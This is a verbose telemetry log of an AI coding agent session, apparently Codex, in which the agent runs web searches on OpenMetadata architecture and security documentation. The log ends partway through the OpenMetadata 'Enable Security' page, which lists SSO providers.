tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:42.930Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.934Z] [INFO] 2026-07-12T04:02:42.930757Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_zNW9IATkrMDbSTlyvHls9Oy1 tool_source=\"direct\" execution_started=true dispatch_duration_ms=1 handler_duration_ms=327 total_duration_ms=329\n[2026-07-12T04:02:42.934Z] [INFO] \n[2026-07-12T04:02:42.981Z] [INFO] 2026-07-12T04:02:42.978470Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:42.981Z] [INFO] \n[2026-07-12T04:02:43.033Z] [INFO] 2026-07-12T04:02:43.033002Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:43.033Z] [INFO] \n[2026-07-12T04:02:43.066Z] [INFO] 2026-07-12T04:02:43.066000Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:43.066Z] [INFO] \n[2026-07-12T04:02:43.071Z] [INFO] 2026-07-12T04:02:43.070893Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:43.071Z] [INFO] \n[2026-07-12T04:02:43.105Z] [INFO] 2026-07-12T04:02:43.104816Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:43.105Z] [INFO] \n[2026-07-12T04:02:43.112Z] [INFO] 2026-07-12T04:02:43.111983Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:43.111Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:43.112Z] [INFO] \n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.124538Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:43.124Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.124627Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.173954Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.174049Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:43 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"9227e15c-ef9f-4146-b442-56b238c5f26e\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=%2Fhl9uxYNR3alPH0JrFw6CnSC0nASWB4fzq4U4Gca%2B5lHTuJIprRLymJgQttv6q2YmCv6ckOSBqqEZWaswUDp%2B%2BOJMgJVLI6qx8cVaauddFnuxW3JxrZ71ETmfI6M\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d276b6b5116f0-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:43.193Z] [INFO] \n[2026-07-12T04:02:43.965Z] [INFO] 2026-07-12T04:02:43.963538Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e3f1a08191a2decb6f4d9619d4\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHjK5YBzXjn1otyyjXz0WmzwaFZOBiXTv0xJl42Xh_p6uKBlcNVqOmfdYP-csEWEKhJvlfvg8h564nKsBrl8s0gq8ztBrNwQTcUzsj8Yq9mUAakzzz_zdFRsxkzBG1Bbd7eF8T1RwiWNC-UGyrvaRp3Gx2NEt7MW5rNEmRgPxfE7RcmN5U0D5Glj-CLgLc9CREyuyoyCLIZDkeTJW86yzHtRJTrhSqfpLSwuxdUEmw_d8O1ihyTzTY7D0Gfof3fjqbbvjOeOlgSKfVNwaznNpCsWOaDOANoTl-R9voKY2HSiqFOp2Y0KG7KsOs266iUqQy1oaoLQbBN4ohbRjau_NR8zmF5YbWqUH-fsdc03UGkflTh2ayDlkR20uHoPkx4bCllRnhSe3FB--dQ2r-PZX4dHEpFlWwzBbndgL06NXmp4pGb465TpsQDGaqiLmHkc-Aao2ZPzqihZCxZmzipdFSuk8F-wnjibByE-0TA6ZpQaeCDYhkMAwhkT2IYFaebBZZa07j3trXQiNQN8h50dLJ9tP80eIq6L2N0IJizE0pY3h6gVI8tHM804y6av_ZCCRd-02MrTdmRUwLTxzUIVd7PiVNrfGsb8c7ImLwcH6y5aaVZUiQQA-ydgTEnekvV-Kslslq80wkFLfV4MCEQX1e9WDTtDPsqxLOygU7QSyvIwm0D5susa8j-X56O-iC8Jq-rmDBiBWORLG2KLsgy1iIi_4sQ9ADQ-n78vlibfIgDhOo-AGHmLj1HdrKM6tppMo_Sgu3vYKMQKri96FUYuQdgPermdJB9RGGTEH73eBpYoftEId7gsOrULV4Lk_M8hHdOme5urPE3aqn-LdkcWOAFjca7G0EYmkv3vsU9-ckGdTeg5d9hvIvni4IOclBBnoji0ZIYMNAKLVVhwQzroPvmdA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:43.965Z] [INFO] \n[2026-07-12T04:02:44.681Z] [INFO] 2026-07-12T04:02:44.679688Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e3f1a08191a2decb6f4d9619d4\"), summary: [SummaryText { text: \"**Planning documentation research**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHklkbXks8b_f9qdzV1Yd-EOYznCjbFTzyxpXRZian6ySQxuUr0ZlLa69wGyFxLI923M9IiD3msIT-fuPWiV4Bk3DEXcW7IWSvm7zbSV4ZMR9s2pgXIHH0whHoDC5UcX7Serfmdq0nJ2MBMZYN49b94CAMt3mZMX1egpyZLiRntF3o3rgDy0i70vbwDFxQ9ooBiBPN5r6mVkI0cPQ_EVGaFrAGR3S3of86l5THrRxG9tXBGtaWcAGL8Dth2VZ1HP3RHg6Jhx_zD7mmGJPqiT_23AjcTp9W67WWHTdEe68Ecc-DbVDFhd1ybeiDJ5k8meGz2PMfGhQENUjJn9noiXkDEYDKRQ1FU5pa77d9Lbue7YxOvUOb5EFx8czSeFrw5GjhL7g5An0XeNSZkAnyQKcWJlyaQnhnl9q0BaA55qDWckmpvcFsjfDJwHb1d_mZ-pab38frX5jBa72dgWAPdrg_DrmfqMZmr8BSKEkswQR9uQ4rDORfpi64tY6UpfpgwXM2NzWWYsElElH-AvOVJVHE9qfxrARCjSL5x3EGLFr-IjZMm7v7JBSOxHo3Rq4DzJXDiXSPZikWDkypLTmCehU-eezJLdXhdhVLQuICIKSyBIEvmyQMulmyvoCbn1vt_JaUoenvABE-l7XYcBUnekoJ3rgoov_hXG4xmjRrFqIsJAaApR4gHqX_rA_iZHWq1FdwZqo_2EaKfpipnoanV9k00dyWdYU1LYtw4CP7wovxPQkjUFZmjaa2xDzrz-pVyekT5PTag_20BfwaFQ-OYZwpUwosGP8AyIsOIWmXXor35wHIO2IdfaNw_tOH--QUkqP4PDH6AUv7lrxIRhq0Cv02IhGHID-x_T9o7-H1vNeBxPpbiXFJaW91sfF-FiNuqaImZQspol7_Z5zqh5eFjyOnNiMERjnIVq1QUi-sIv2-Xo306nGRZHxn4PHERb-Z_f-Sj66KMHhk6mvX-M_G3bCp3Fa2MjaggK1AK9g5ayer00j-QU3pd7_A0Wa8TUlQANpmD\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:44.681Z] [INFO] \n[2026-07-12T04:02:44.688Z] [INFO] 2026-07-12T04:02:44.682618Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311e4aa34819194f91adde8befdb1\"), status: Some(\"in_progress\"), call_id: \"call_RCYteFzv8pYUM60KSNXS63kH\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:44.688Z] [INFO] \n[2026-07-12T04:02:44.690Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_14\",\"type\":\"reasoning\",\"text\":\"**Planning documentation research**\"}}\n[2026-07-12T04:02:44.690Z] [INFO] \n[2026-07-12T04:02:46.478Z] [INFO] 2026-07-12T04:02:46.477940Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311e3365c8191824e9a16c1df533b\"\n[2026-07-12T04:02:46.478Z] [INFO] \n[2026-07-12T04:02:46.481Z] [INFO] 2026-07-12T04:02:46.479399Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=23827 output_token_count=135 cached_token_count=19200 reasoning_token_count=17 tool_token_count=23962 ttft_ms=853 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:46.479Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:46.481Z] [INFO] 2026-07-12T04:02:46.479478Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=23827 output_token_count=135 cached_token_count=19200 reasoning_token_count=17 tool_token_count=23962 ttft_ms=853 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:46.479Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:46.481Z] [INFO] 2026-07-12T04:02:46.479697Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r = await tools.web__run({search_query:[\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\"},\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\"},\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\"},\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"}\n[2026-07-12T04:02:46.481Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:02:46.481Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:46.481Z] [INFO] \n[2026-07-12T04:02:46.628Z] [INFO] 2026-07-12T04:02:46.624916Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:46.628Z] [INFO] \n[2026-07-12T04:02:46.644Z] [INFO] 2026-07-12T04:02:46.643659Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:46.644Z] [INFO] \n[2026-07-12T04:02:46.648Z] [INFO] 2026-07-12T04:02:46.646797Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:46.648Z] [INFO] \n[2026-07-12T04:02:46.652Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_15\",\"type\":\"web_search\",\"id\":\"exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1\",\"query\":\"\",\"action\":{\"type\":\"other\"}}}\n[2026-07-12T04:02:46.652Z] [INFO] \n[2026-07-12T04:02:46.660Z] [INFO] 2026-07-12T04:02:46.659585Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:46.660Z] [INFO] \n[2026-07-12T04:02:48.066Z] [INFO] 2026-07-12T04:02:48.052862Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/alpha/search status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:48 GMT\", \"content-type\": \"application/json\", \"content-length\": \"92297\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"8e5a7d97-c7ab-46b7-b4e7-bb770100f15b\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=5g3vgyhyv0KoHxJrE%2FvK6vZxh9iybmQfyUvEYJE6tMhzQDW8bougf5lWyR7Jx4cFu%2B9uZsjFl9zPx1sIcYehZ8mGdMiWL1GcRMn6TrB0zepWh9ums195lhlKSOe0\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d278219aa973b-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:48.066Z] [INFO] \n[2026-07-12T04:02:48.150Z] [INFO] 2026-07-12T04:02:48.150180Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:48.150Z] [INFO] \n[2026-07-12T04:02:48.221Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_15\",\"type\":\"web_search\",\"id\":\"exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1\",\"query\":\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs ...\",\"action\":{\"type\":\"search\",\"queries\":[\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\",\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\",\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\",\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"]}}}\n[2026-07-12T04:02:48.221Z] [INFO] \n[2026-07-12T04:02:48.222Z] [INFO] 2026-07-12T04:02:48.152646Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1 arguments={\"search_query\":[{\"q\":\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\"},{\"q\":\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\"},{\"q\":\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\"},{\"q\":\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"}],\"response_length\":\"long\"} duration_ms=1588 success=true output=[standalone web search output] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:48.152Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.222Z] [INFO] 2026-07-12T04:02:48.152692Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1 duration_ms=1588 success=true arguments_length=522 output_length=30 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:48.152Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.222Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] 2026-07-12T04:02:48.231988Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_RCYteFzv8pYUM60KSNXS63kH arguments=const r = await tools.web__run({search_query:[\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\"},\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\"},\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\"},\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"}\n[2026-07-12T04:02:48.233Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:02:48.233Z] [INFO]  duration_ms=1744 success=true output=Script completed\n[2026-07-12T04:02:48.233Z] [INFO] Wall time 1.7 seconds\n[2026-07-12T04:02:48.233Z] [INFO] Output:\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Enable Security | OpenMetadata Deployment Security - OpenMetadata Documentation (https://docs.open-metadata.org/v1.12.x/deployment/security)\n[2026-07-12T04:02:48.233Z] [INFO] \ue200cite\ue202turn0search0\ue201 [wordlim: 200] Crawled: 2 months ago; # Enable Security | OpenMetadata Deployment Security ... OpenMetadata currently does not support the simultaneous use of multiple authentication mechanisms, such as combining SSO and Basic Authentication.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] # Enable Security | OpenMetadata Deployment Security\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Learn about authentication, encryption, secret management, and provider configurations for securing your platform deployment.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] > ## Documentation Index\n[2026-07-12T04:02:48.233Z] [INFO] > \n[2026-07-12T04:02:48.233Z] [INFO] > Fetch the complete documentation index at: https://docs.open-metadata.org/llms.txt\n[2026-07-12T04:02:48.233Z] [INFO] > \n[2026-07-12T04:02:48.233Z] [INFO] > Use this file to discover all available pages before exploring further.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] # \n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] \u200b\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Enable Security\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] This section provides detailed instructions to secure the REST endpoints of the OpenMetadata Server. OpenMetadata has support for Google SSO, Okta SSO, custom OIDC, Auth0, Azure SSO, Amazon Cognito, and OneLogin as identity providers. Please see the next sections about how to configure them. Enabling Security is only required for your Production installation. If you are testing OpenMetadata, it will be easier and faster to set up without security. To get up and running quickly with OpenMetadata (without security), please follow the Quickstart guide.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] OpenMetadata currently does not support the simultaneous use of multiple authentication mechanisms, such as combining SSO and Basic Authentication.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Auth0 SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Auth0 SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Azure SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Azure SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Custom OIDC SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure a Custom OIDC SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Google SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Google SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Okta SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Okta SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Amazon Cognito SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Amazon Cognito SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## OneLogin SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure OneLogin SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Keycloak SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Con\n[2026-07-12T04:02:48.233Z] [INFO] [... telemetry preview truncated ...] mcp_server= 